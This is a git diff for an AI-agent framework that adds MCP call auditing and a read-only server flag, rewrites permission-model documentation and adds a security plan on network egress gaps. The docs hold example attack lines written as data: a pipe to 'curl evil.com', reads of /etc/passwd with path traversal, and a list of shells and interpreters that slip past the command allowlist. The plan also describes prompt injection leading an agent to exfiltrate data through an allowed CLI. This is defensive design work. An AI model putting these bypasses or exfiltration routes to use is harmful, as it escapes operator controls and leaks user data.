diff --git a/.changeset/mcp-audit-readonly.md b/.changeset/mcp-audit-readonly.md new file mode 100644 index 0000000..1100505 --- /dev/null +++ b/.changeset/mcp-audit-readonly.md @@ -0,0 +1,10 @@ +--- +"@looped/core": minor +--- + +MCP calls join the audit trail, and servers gain a `readonly:` flag. + +Every `mcp____` call is now recorded in the run's audit trail (kind `mcp`, with the +tool name and whether it succeeded), alongside permission decisions. A new `readonly: true` option +on `tools.mcp` servers exposes only tools whose `readOnlyHint` annotation marks them read-only, as a +guard against wiring write tools into a read-only job. diff --git a/docs/permission-model.md b/docs/permission-model.md index 6220ed0..68ae101 100644 --- a/docs/permission-model.md +++ b/docs/permission-model.md @@ -1,71 +1,126 @@ --- title: "The permission model" -description: "Why an agent never asks for permission at runtime: boundaries declared once in config, enforced by the Deno runtime and layered so each boundary assumes the one inside it can fail." +description: "The four permission types, what each one allows and blocks, the three enforcement layers and where the boundaries stop today." --- -Interactive coding agents answer the safety question with a human in the loop: *may I run -this command?* That works when someone is sitting at the terminal. A service agent has no -one to ask; it runs at 3am, triggered by a webhook, on a machine nobody is watching. And -even with a human present, prompts have a known failure mode: enough of them and people -stop reading and approve everything. - -So we took the opposite position: **an agent never asks for permission at runtime.** The -question was already answered before it started. - -## Declared once, in config - -Everything the agent is allowed to touch is written in the `permissions:` block of the -agent file: which network hosts, which executables, which paths. The default is deny. An -agent with no `permissions:` block can touch nothing, and there is no way to grant more -while the agent is running. Widening the boundary means editing the file and redeploying, -which is exactly the friction you want: a capability change is a config change, and it -gets reviewed and versioned like one. - -This means that the agent file completely defines what an agent is allowed to do. You -don't need to read a transcript to find out what an agent can reach; a few lines of YAML -tell you before it ever runs. - -## Built on Deno - -We run agents on Deno because Deno treats permissions as a runtime primitive. Most -runtimes give a process everything the OS user can do: anything the user can read, write -or execute, the process can too, and any sandboxing has to be bolted on around it. A Deno -process starts with nothing and only holds what you granted it at launch, which is -exactly the shape an agent's boundaries need. - -At startup, the framework compiles the `permissions:` block into Deno permission flags; -`af flags agent.yaml` prints the exact set. In the base image, that means file reads are -scoped to the agent's own directories, writes to its data volume and subprocess spawning -to bash alone. What matters here is where the enforcement happens: in the runtime, -underneath the framework's own code. A bug in the framework can't grant an access the -runtime was never given. - -On top of the Deno sandbox sits the framework's own permission engine, which handles the -things runtime flags can't express. Network egress is checked per host. Shell commands -are statically analysed, and every executable in a pipe or chain is checked against the -allowlist. Subprocesses only get the env vars the config grants them, and secrets are -injected server side, so they never enter the model's context. - -## A denial is an answer - -When the agent tries something outside its grants, nothing pauses and nothing crashes. -The denial goes back to the agent as an ordinary tool result, something like `permission -denied: run access to "curl" is not in the agent's permissions.run allowlist`, and the -agent carries on with that as context for its next turn: it works within its grants or -reports what it couldn't do. Your role moves from approving actions in real time to -reviewing the audit trail afterwards, where every decision, allowed and denied, is -recorded. - -## Layers that assume failure - -We don't trust any single boundary to hold. Enforcement nests: the permission engine -sits inside the Deno sandbox, which sits inside the container, and each layer assumes the -layer inside it can fail. Bash subprocesses escape the Deno sandbox by design, and the -container is what contains them. That's also why there is no "run on the host" mode: the -framework refuses to run where its outermost layer is missing. - -The result is that running an agent unattended becomes a calculated risk: the worst case -is bounded by a config file you wrote, enforced at three layers you didn't have to build. - -The full reference, with syntax, matching rules, secrets and the honest notes on where -each layer's limits sit, is in [Permissions](permissions.md). +A service agent runs at 3am, triggered by a webhook, on a machine nobody is watching. +There is no one to ask "may I run this?", so the question has to be answered before the +agent starts. That is what the `permissions:` block is for: you declare once, in config, +what the agent is allowed to touch, and everything else is denied. There is no prompt at +runtime. When the agent tries something outside its grants, the denial goes back to it as +an ordinary tool result and it carries on with that as context for its next turn. + +The default is deny. An agent with no `permissions:` block can touch nothing, and there +is no way to grant more while the agent is running. Widening a boundary means editing the +file and redeploying, so a capability change gets reviewed and versioned like any other +config change. + +## The four permission types + +Permissions come in four axes: `net`, `run`, `read` and `write`. Each one is an +allowlist, and each native tool only exists for the agent when its axis grants something. +This means that no unused tool schema takes up context, and there is nothing sitting +there to misuse. + +### net: which hosts the agent can call + +```yaml +permissions: + net: [api.github.com, "*.internal.example.com"] +``` + +With this block, `http_request` can reach `api.github.com` and any subdomain of +`internal.example.com`, such as `mcp.internal.example.com`. A request to any other host +comes back as `permission denied: net access to "evil.com" is not in the agent's +permissions.net allowlist`. The wildcard covers subdomains only; `internal.example.com` +itself needs its own entry. With no `net:` list, the `http_request` tool does not exist +for the agent at all. + +### run: which executables the agent can spawn + +```yaml +permissions: + run: [gh, grep] +``` + +With this block, `run_bash` can execute `gh issue list | grep bug`. The framework does +not trust the shell: it extracts every executable from pipes and chains and checks each +one against the list, so `gh issue list | curl evil.com` is denied because `curl` is +missing from the allowlist. Command substitution (`$(...)`, backticks, `<(...)`) is +rejected outright, because there is no way to check what is inside it before it runs. +Executables are matched by basename, so `/usr/bin/gh` counts as `gh`. + +### read and write: which paths the agent can touch + +```yaml +permissions: + read: [/workspace] + write: [/workspace/out] +``` + +With this block, `read_file` can open `/workspace/notes.md` and `write_file` can create +`/workspace/out/report.md`. Reading `/etc/passwd` is denied, and so is the traversal +attempt `/workspace/../etc/passwd`, because paths are normalized before the check. Writes +outside `/workspace/out` are denied, including the rest of `/workspace`. + +An agent with an empty `permissions:` block carries only `current_time`, plus +`read_skill` if it has [skills](skills.md). The full toolset and what makes each tool +appear is in [Tools](tools.md); syntax, matching rules and secrets are in +[Permissions](permissions.md). + +## The three layers + +We don't trust any single boundary to hold. Enforcement nests in three layers, and each +layer assumes the one inside it can fail. + +1. **The permission engine.** Framework code checks every native tool call against the + allowlists above, and every decision, allowed and denied, lands in the audit trail. +2. **The Deno sandbox.** The agent process itself is launched with only the rights it + needs: in the base image, reads scoped to `/agent`, `/skills`, `/data` and + `/run/secrets`, writes to `/data` and subprocess spawning to `bash` alone. The runtime + enforces this underneath the framework's own code, so a bug in the framework can't + grant an access the runtime was never given. `af flags agent.yaml` prints the compiled + flag set for a config. +3. **The container.** This is the outer wall and the unit of isolation. `bash` + subprocesses escape the Deno sandbox by design, and the container is what contains + them. That is also why there is no "run on the host" mode: the framework refuses to + run where its outermost layer is missing. + +Subprocesses and MCP servers receive only the env vars their config block grants, plus +`PATH`/`HOME`, and secret values are injected server side, so they never enter the +model's context. + +## Where the boundaries stop today + +The model above is honest about its edges, and you should know where they are before you +rely on it. + +**An MCP server's network traffic bypasses `permissions.net`.** The engine checks hosts +for the native `http_request` tool; whatever outbound calls an MCP server makes happen +outside it. When you declare a server under `tools.mcp`, you are trusting where it talks +to. Your controls on the tool side are the `include:` filter (a tool you didn't include +does not exist for the agent), the `readonly:` flag and the scoped `env:` block, and +every MCP call lands in the audit trail; the server's own egress is bounded by the +container. + +**Network egress is open below the app layer.** The container runs with Deno's network +permission unrestricted, so per-host enforcement happens only in the permission engine. +Anything that runs outside the engine, a `bash` subprocess or an MCP server process, can +reach any host the container can. A `gh` you allowed will talk to whatever it wants. If +egress matters for an agent, restrict it at the container layer with your network +setup. + +**The image's sandbox flags are shared.** The published image launches every agent with +the same Deno flag set, and the per-agent compiled flags from `af flags` apply when you +build your own entrypoint. Inside the shipped container, what varies per agent is the +permission engine's allowlists. + +**`run` matches by basename.** `run: [gh]` allows any executable named `gh`, wherever it +lives. Inside the hardened base image that is fine in practice; if you derive an image +that widens the writable paths, keep in mind that the container is the backstop. + +The result is that you can run an agent unattended and know its worst case in advance: +the agent can reach exactly what its grants say, the runtime and the container hold that +boundary underneath the framework's own code, and the remaining edges are outlined +above. The config itself is hard to get wrong without noticing, because unknown keys are +rejected at load time and anything you leave out is denied. diff --git a/docs/permissions.md b/docs/permissions.md index c00ec52..6e987aa 100644 --- a/docs/permissions.md +++ b/docs/permissions.md @@ -31,6 +31,14 @@ A denied action is an ordinary tool result. The model sees `permission denied: r `run_bash` does not trust the shell: it extracts every executable from pipes and chains and checks each one against `run:`. Command substitution (`$(...)`, backticks, `<(...)`) is rejected outright, because there is no way to check it statically before it runs. +The check reads the executable at the head of each segment; it can't see into the arguments. That is fine for ordinary tools, and it means you should keep programs that run *other* programs off the allowlist. Granting any of these hands over everything: + +- shells: `run: [bash]` lets `bash -c ''` through, since the inner command travels as an opaque string +- interpreters: `python -c`, `node -e`, `deno run` +- wrappers and exec flags: `env`, `xargs`, `timeout`, `find -exec` + +Grant the specific CLIs the agent's job needs (`gh`, `grep`) and let the [container](#the-layers) be the backstop. The MCP examples that launch a server via `bash -c` are unaffected: that spawn comes from your config at startup and never passes through `run_bash`. + ## Scoped environments Subprocesses receive only the env vars the config's `env:` block grants, plus `PATH`/`HOME`; the agent process keeps its own ambient environment to itself. The same goes for MCP servers: each one sees only its own `env:` block. @@ -55,5 +63,5 @@ Enforcement is layered: the app-level engine described above runs inside a runti Two honest notes on where the layers actually sit: -- The Deno layer allows all *network* egress in the container (`--allow-net`). Per-host enforcement happens in the app-level permission engine, and the container's egress policy is layer 2; restrict it with your network setup where it matters. Automating per-agent egress policy is planned. +- The Deno layer allows all *network* egress in the container (`--allow-net`). Per-host enforcement happens in the app-level permission engine, and the container's egress policy is layer 2; restrict it with your network setup where it matters. - `bash` subprocesses escape the Deno sandbox by design; the container boundary is what contains them. That is why there is no "run on the host" mode. diff --git a/docs/tools.md b/docs/tools.md index 41919e7..0a79860 100644 --- a/docs/tools.md +++ b/docs/tools.md @@ -38,7 +38,9 @@ tools: ``` - Tools are namespaced `mcp__github__create_issue` in the loop and the audit trail. -- We strongly recommend `include:`. A 40-tool server puts 40 schemas into a small model's context; expose the three you actually need. +- We strongly recommend `include:`. A 40-tool server puts 40 schemas into a small model's context; expose the three you actually need. `include:` is also the permission surface for MCP: a tool you didn't include does not exist for the agent. +- `readonly: true` on a server exposes only tools whose `readOnlyHint` annotation marks them read-only, which is a good fit when the job only reads. The hint is self-reported by the server, so treat this as a guard against wiring write tools into a read-only job; the trust decision is still whether to declare the server at all. +- Every MCP call is recorded in the audit trail with the tool name and whether it succeeded, alongside the run's permission decisions. - Each server sees only its own `env:` block (values may be `${VAR}` references); the agent's own environment stays private. - Results are truncated at 8k chars; servers connect at startup and close on shutdown. diff --git a/packages/core/config/schema.ts b/packages/core/config/schema.ts index 4e42287..c5d22b5 100644 --- a/packages/core/config/schema.ts +++ b/packages/core/config/schema.ts @@ -138,6 +138,9 @@ const McpServerSchema = z include: z.array(z.string().min(1)).optional().describe( "Expose only these tools. Strongly recommended: a fat server must not blow a small model's context.", ), + readonly: z.boolean().optional().describe( + "Expose only tools whose readOnlyHint annotation marks them read-only. A guard against wiring write tools into a read-only job; the hint is self-reported by the server.", + ), }) .refine((s) => (s.command === undefined) !== (s.url === undefined), { message: "an MCP server needs exactly one of `command` (stdio) or `url` (http)", @@ -338,6 +341,8 @@ export interface McpServerConfig { env?: Record; /** Expose only these tools. */ include?: string[]; + /** Expose only tools whose readOnlyHint annotation marks them read-only. */ + readonly?: boolean; } /** Deny-by-default allowlists. Omitting a list means the agent can touch nothing on that axis. */ diff --git a/packages/core/runtime/service.ts b/packages/core/runtime/service.ts index db43696..1c33c3e 100644 --- a/packages/core/runtime/service.ts +++ b/packages/core/runtime/service.ts @@ -13,7 +13,12 @@ import { Store } from "../store/store.ts"; import { type AgentIdentity, ensureIdentity, identityNote } from "./identity.ts"; import { createSkillTool, loadSkills, type Skill, skillsPromptSection } from "../skills/skills.ts"; import { createMemoryTools, type MemoryEvent, memoryPromptSection } from "../tools/memory.ts"; -import { connectMcpServers, type McpConnections } from "../tools/mcp.ts"; +import { + connectMcpServers, + type McpCallRecord, + type McpConnections, + withMcpAudit, +} from "../tools/mcp.ts"; import { SEARCH_AUTO_THRESHOLD, ToolRegistry } from "../tools/registry.ts"; /** An event from the outside world, normalized by a trigger. */ @@ -92,6 +97,7 @@ export class AgentService { #buildTools( engine: PermissionEngine, onMemoryEvent: (event: MemoryEvent) => void, + onMcpCall: (call: McpCallRecord) => void, ): () => NativeTool[] { const always: NativeTool[] = [currentTimeTool, ...this.#extraTools]; if (this.#skills?.length) always.push(createSkillTool(this.#skills)); @@ -109,7 +115,8 @@ export class AgentService { // Natives and skills stay in context (small, framework-owned); MCP tools // defer behind search_tools when the toolset gets big (tools.search). - const mcp = this.#mcp?.tools ?? []; + // Every MCP call is reported for the run's audit trail. + const mcp = withMcpAudit(this.#mcp?.tools ?? [], onMcpCall); const mode = this.config.tools?.search ?? "auto"; const defer = mcp.length > 0 && ( mode === "on" || @@ -143,6 +150,7 @@ export class AgentService { const identity = await this.init(); const startedAt = new Date().toISOString(); const decisions: PermissionDecision[] = []; + const mcpCalls: McpCallRecord[] = []; const engine = new PermissionEngine(this.config.permissions, (e) => { decisions.push(e.decision); }); @@ -162,7 +170,7 @@ export class AgentService { identityNote(this.config, identity.name), }, provider: this.#provider, - tools: this.#buildTools(engine, (e) => memoryEvents.push(e)), + tools: this.#buildTools(engine, (e) => memoryEvents.push(e), (call) => mcpCalls.push(call)), input: event.input, history, }); @@ -184,6 +192,9 @@ export class AgentService { for (const memoryEvent of memoryEvents) { this.store.recordAudit({ runId, kind: "memory", detail: memoryEvent }); } + for (const call of mcpCalls) { + this.store.recordAudit({ runId, kind: "mcp", detail: call }); + } return result; } diff --git a/packages/core/tools/mcp.ts b/packages/core/tools/mcp.ts index b4c6a8d..57fc8c2 100644 --- a/packages/core/tools/mcp.ts +++ b/packages/core/tools/mcp.ts @@ -35,11 +35,14 @@ function contentToText(content: unknown): string { * `mcp____`, so permission rules and logs treat them * uniformly. `include` filters a fat server down to what the agent * actually needs — no dead schemas burning a small model's context. + * `readonlyOnly` keeps only tools whose readOnlyHint annotation marks + * them read-only (the hint is self-reported by the server). */ export async function mcpToolsFromClient( client: Client, serverName: string, include?: string[], + readonlyOnly?: boolean, ): Promise { interface McpToolInfo { name: string; @@ -48,7 +51,10 @@ export async function mcpToolsFromClient( annotations?: { readOnlyHint?: boolean }; } const { tools } = await client.listTools() as { tools: McpToolInfo[] }; - const wanted = include ? tools.filter((t: McpToolInfo) => include.includes(t.name)) : tools; + let wanted = include ? tools.filter((t: McpToolInfo) => include.includes(t.name)) : tools; + if (readonlyOnly) { + wanted = wanted.filter((t: McpToolInfo) => t.annotations?.readOnlyHint === true); + } return wanted.map((tool: McpToolInfo) => ({ def: { name: `mcp__${serverName}__${tool.name}`, @@ -74,6 +80,36 @@ export async function mcpToolsFromClient( })); } +/** One MCP tool call, as recorded to the audit trail. */ +export interface McpCallRecord { + /** The namespaced tool name, mcp____. */ + tool: string; + /** Whether the call returned a normal result (false on tool errors and invalid arguments). */ + ok: boolean; +} + +/** + * Wrap MCP tools so every call is reported to `record` — MCP calls land in + * the same audit trail as permission decisions, so a transcript is never + * the only record of what an agent did over MCP. + */ +export function withMcpAudit( + tools: NativeTool[], + record: (call: McpCallRecord) => void, +): NativeTool[] { + return tools.map((tool) => ({ + def: tool.def, + execute: async (rawArgs: string): Promise => { + const result = await tool.execute(rawArgs); + record({ + tool: tool.def.name, + ok: !(result.startsWith("tool error") || result.startsWith("invalid arguments")), + }); + return result; + }, + })); +} + /** Connect every MCP server the config declares and collect their tools. */ export async function connectMcpServers(config: AgentConfig): Promise { const clients: Client[] = []; @@ -94,7 +130,7 @@ export async function connectMcpServers(config: AgentConfig): Promise { const server = new McpServer({ name: "test-server", version: "0.0.0" }); @@ -17,6 +17,11 @@ async function testClient(): Promise { description: "Danger", inputSchema: {}, }, () => ({ content: [{ type: "text", text: "gone" }] })); + server.registerTool("get_issue", { + description: "Read an issue", + inputSchema: {}, + annotations: { readOnlyHint: true }, + }, () => ({ content: [{ type: "text" as const, text: "issue #1" }] })); const [clientTransport, serverTransport] = InMemoryTransport.createLinkedPair(); await server.connect(serverTransport); @@ -39,3 +44,29 @@ Deno.test("mcp tools: namespaced, filtered by include, round-trip", async () => assert(bad.includes("invalid arguments")); await client.close(); }); + +Deno.test("mcp tools: readonly keeps only readOnlyHint tools", async () => { + const client = await testClient(); + const tools = await mcpToolsFromClient(client, "github", undefined, true); + + // create_issue and delete_repo carry no readOnlyHint, so they drop out. + assertEquals(tools.map((t) => t.def.name), ["mcp__github__get_issue"]); + assertEquals(tools[0].def.readOnly, true); + await client.close(); +}); + +Deno.test("mcp audit: every call is recorded, errors marked not ok", async () => { + const client = await testClient(); + const calls: McpCallRecord[] = []; + const tools = withMcpAudit(await mcpToolsFromClient(client, "github"), (c) => calls.push(c)); + const create = tools.find((t) => t.def.name === "mcp__github__create_issue")!; + + await create.execute(JSON.stringify({ title: "CSV export bug" })); + await create.execute("{nope"); + + assertEquals(calls, [ + { tool: "mcp__github__create_issue", ok: true }, + { tool: "mcp__github__create_issue", ok: false }, + ]); + await client.close(); +}); diff --git a/plans/006-security.md b/plans/006-security.md new file mode 100644 index 0000000..f5a5c1e --- /dev/null +++ b/plans/006-security.md @@ -0,0 +1,78 @@ +# Plan 6 — Security: closing the egress gaps + +The permission model promises that the agent file completely defines what an agent is allowed to do. For the native tools that promise holds today. For anything that runs outside the agent process, a bash subprocess or an MCP server, the network half of the promise does not hold yet. This plan records where enforcement actually stands, where the gaps are and the design for closing them. + +Status: design accepted; implementation has not started. `docs/permission-model.md` ("Where the boundaries stop today") is the user-facing statement of the same gaps and must stay consistent with this plan. + +## Where enforcement stands today + +Enforcement nests in three layers, and each layer assumes the one inside it can fail. + +1. **The permission engine** (`packages/core/permissions/engine.ts`). App-level checks on every native tool call: `net` per host for `http_request`, `run` per executable (static analysis of pipes and chains, command substitution rejected), `read`/`write` per normalized path prefix. Every decision lands in the audit trail. Deny by default; a denial returns to the model as a tool result. +2. **The Deno sandbox.** The published image (`images/agent/Dockerfile`) launches the runtime with one fixed flag set: reads scoped to `/agent`, `/skills`, `/data`, `/looped`, `/deno-dir` and `/run/secrets`, writes to `/data`, subprocess spawning to `bash` alone, and `--allow-net` open. The per-agent compiled flags exist (`permissionsToDenoFlags()`, printed by `af flags`) but the shipped container does not use them, because the entrypoint flags are baked at image build time, before any agent.yaml is known. +3. **The container.** The outer wall. `bash` subprocesses escape the Deno sandbox by design and the container is what contains them; that is why there is no run-on-the-host mode. + +## The gaps + +**1. Network enforcement stops at the agent process.** `permissions.net` gates only the native `http_request` tool. A bash subprocess or an MCP server makes whatever outbound calls it wants, because the Deno layer allows all net in the container and the engine never sees traffic it didn't originate. In practice, an entry in `permissions.run` for a network-capable binary is an implicit `net: ["*"]` for that agent: `run: [gh]` lets `gh` reach any host. + +The threat this enables is prompt injection plus exfiltration. A hostile Discord message or webhook payload steers the agent into running an allowed CLI against an attacker's endpoint, carrying whatever the agent holds in context or on its readable paths. The engine allows it because the executable is on the list and the destination host is never checked. + +**2. MCP servers sit outside the permission engine.** MCP tool calls go straight to `client.callTool` (`packages/core/tools/mcp.ts`) with no engine check and no per-call audit entry. Declaring a server under `tools.mcp` trusts it entirely; the controls are the `include:` filter and the scoped `env:` block. + +**3. The image's sandbox flags are shared.** Layer 2's scoping is identical for a locked-down agent and a permissive one; only layer 1 varies per agent inside the shipped container. + +**4. `run` matches by basename.** `run: [gh]` allows any executable named `gh` anywhere on disk. Fine inside the hardened base image; a derived image that widens writable paths should know the container is the backstop. + +**5. Static analysis stops at the head of each segment.** `extractExecutables` (`packages/core/tools/bash.ts`) checks the first word of each pipe/chain segment and can't see into arguments. Granting a program that runs other programs (`bash`, `sh`, `python`, `node`, `env`, `xargs`, `find` with `-exec`) collapses the allowlist: `bash -c ''` passes with the inner command carried as an opaque string. Nothing warns about this today; `docs/permissions.md` documents it and the `af validate` warning below is the enforcement direction. + +## Design: hermetic mode + +The subprocess escape hatch only exists when the config asks for it. When an agent has no `permissions.run` grants and no stdio MCP servers, nothing runs outside the Deno sandbox, and the runtime's own `--allow-net` can hold the entire net allowlist for the whole process, HTTP MCP clients included. + +The design: at startup, before connecting anything, the in-container entrypoint inspects the resolved config. If the agent qualifies, it re-execs `deno run` with the per-agent compiled flags from `permissionsToDenoFlags()` in place of the image's broad set. The framework derives and appends the hosts it needs for itself, all of which are already in the config: + +- the model provider endpoint (`model.base_url`, or the provider's default host), +- trigger hosts (e.g. `discord.com` and `gateway.discord.gg`, Slack's Socket Mode hosts, `api.telegram.org`), +- HTTP MCP server URLs' hosts, +- listen rights for the status server and any webhook trigger ports. + +This closes gap 1 for the qualifying agent class with no new infrastructure, and it makes `af flags` output real inside the shipped container rather than informational (gap 3, for this class). Agents that qualify are probably the common shape: `net`-only agents and HTTP-MCP agents. + +What it deliberately does not do: ban subprocesses. The CLI-plus-skill pattern (`gh-issues-cli`) is half the framework's philosophy and the current stand-in for `tools.custom` (#12). Hermetic mode rewards the absence of subprocesses; it does not forbid their presence. + +## Deferred to the platform: per-agent egress enforcement + +For agents that do spawn subprocesses, per-host enforcement has to live at a layer subprocesses cannot bypass: the network. Raw network rules are not enough, because `permissions.net` is a list of hostnames and iptables sees only IPs; `api.github.com` moves between addresses and shares CDN IPs with half the internet. The chokepoint has to understand hostnames, which means a filtering proxy. (Deno Sandbox uses the same architecture at its VM boundary, which is decent external validation of the shape.) + +Decision: the framework does not ship this. A per-agent proxy sidecar and internal Docker network orchestrated by `af up` would work, and the design notes are preserved in git history for when they're needed, but it is infrastructure, and infrastructure is where it should be solved. Looped Agents, the hosted platform (Plan 5), owns the network fabric its agents run on and will enforce `permissions.net` there for all traffic regardless of origin, the same compile-the-allowlist move this plan uses everywhere else. + +For self-hosted agents the position is documented honestly instead: a subprocess-running agent's egress is bounded by the container, and operators who need per-host egress control apply it with their own network setup. The mitigations that do ship are hermetic mode (which removes the subprocess class from most agents) and the `af validate` warnings (#48) for `run:` entries that carry unrestricted egress. + +One config surface still holds: the same `permissions.net` list is enforced by the Deno runtime when the agent is hermetic, and by the platform's network when it runs on Looped Agents. + +## Rejected: @deno/sandbox as the runtime + +Deno Sandbox provisions Firecracker microVMs via the Deno Deploy API, with `allowNet` enforced by an egress proxy outside the guest. The enforcement shape is exactly right, and it is the same shape as the design above. It is rejected as the runtime because it is cloud-only: an agent would require a Deno Deploy account and run on their infrastructure, which breaks the Docker-native, self-hosted deployment model that Plan 0 commits to. It may return later as an optional backend ("run this agent in a throwaway cloud VM"). + +## MCP: audit-trail entries and a readonly gate + +Gap 2 has two halves. Where a server can *talk to* is a network question, deferred with egress enforcement above. What remains is app-level and stays in the framework: + +- **`include:` is the MCP permission surface.** It already behaves as a deny-by-default tool allowlist: a tool you didn't include does not exist for the agent. A separate `permissions.mcp` axis would duplicate it, so we recognize `include:` as the grant rather than invent a parallel one. +- **MCP calls join the audit trail.** Every `mcp____` call is recorded through the same audit sink the permission engine uses, so a transcript is no longer the only record of what an agent did over MCP. +- **A `readonly:` server flag.** MCP tools carry a `readOnlyHint` annotation. `readonly: true` on a server exposes only tools whose annotation says read-only, for wiring up a fat server safely when the job only reads. The annotation is self-reported by the server, so this is a guard against misconfiguration; the trust boundary for a hostile server remains declaring it at all. + +## Sequencing + +1. **Hermetic mode.** Small, no new infrastructure, makes the common agent shape airtight. Entrypoint re-exec plus host derivation from config. +2. **`af validate` warnings (#48).** Flag `run:` entries that defeat the model: shells and interpreters, wrappers, network-capable binaries. +3. **MCP permission axis.** Design first; likely its own plan or an amendment here. + +Per-agent egress enforcement lands with Looped Agents (Plan 5), on the platform's network layer. + +## Open questions + +- Is hermetic mode auto-detected, opt-in, or auto-detected with an opt-out? Auto-detection is the better default posture, but a config that later adds `run:` would silently change enforcement layers. +- Should `af validate` refuse, or only warn loudly, on shells and interpreters (bash, sh, python, node) in `permissions.run`, which collapse the allowlist entirely (gap 5)? +- When the platform enforces `permissions.net` at its network layer, where do denied egress attempts land? They should reach the same audit trail as engine denials. diff --git a/plans/README.md b/plans/README.md index e1c9f94..1054989 100644 --- a/plans/README.md +++ b/plans/README.md @@ -12,6 +12,7 @@ This directory is the source of truth for what Looped AF is and where it's going | 3 | [003-roadmap.md](003-roadmap.md) | Milestones from manifesto to deployed MVP and the meta-agent | | 4 | [004-landscape.md](004-landscape.md) | Competitive landscape, positioning, target market, adopted lessons | | 5 | [005-platform.md](005-platform.md) | Hosted platform, service business, agent hub | +| 6 | [006-security.md](006-security.md) | Enforcement layers, egress gaps, hermetic mode and the egress proxy | ## How to read and amend these diff --git a/schema/agent.json b/schema/agent.json index 5641b9b..85dcd16 100644 --- a/schema/agent.json +++ b/schema/agent.json @@ -341,6 +341,10 @@ "type": "string", "minLength": 1 } + }, + "readonly": { + "description": "Expose only tools whose readOnlyHint annotation marks them read-only. A guard against wiring write tools into a read-only job; the hint is self-reported by the server.", + "type": "boolean" } }, "required": [ diff --git a/skills/writing/looped-docs.md b/skills/writing/looped-docs.md index 8c29bde..74c03cb 100644 --- a/skills/writing/looped-docs.md +++ b/skills/writing/looped-docs.md @@ -29,7 +29,7 @@ Good: ## A denial is an answer ``` **No marketing adjectives.** Never: seamlessly, effortlessly, powerful, -blazing, robust, delightful. If a claim needs an adverb to sound good, the +blazing, robust, delightful, quietly. If a claim needs an adverb to sound good, the claim is weak - make it concrete instead. ```text @@ -146,8 +146,8 @@ category name. 1. Search the draft for ", not " and ", never " - rewrite any contrast hits. 2. Search for "—" (the em dash) - replace every one with a regular dash or restructure the sentence. -3. Search for: seamless, effortless, powerful, robust, simply, just - justify - or delete each. +3. Search for: seamless, effortless, powerful, robust, simply, just, quietly - + justify or delete each. 4. Read the first sentence of every section aloud. If two in a row have the same shape, vary one. 5. Read the page out loud. Any sentence you wouldn't actually say, rewrite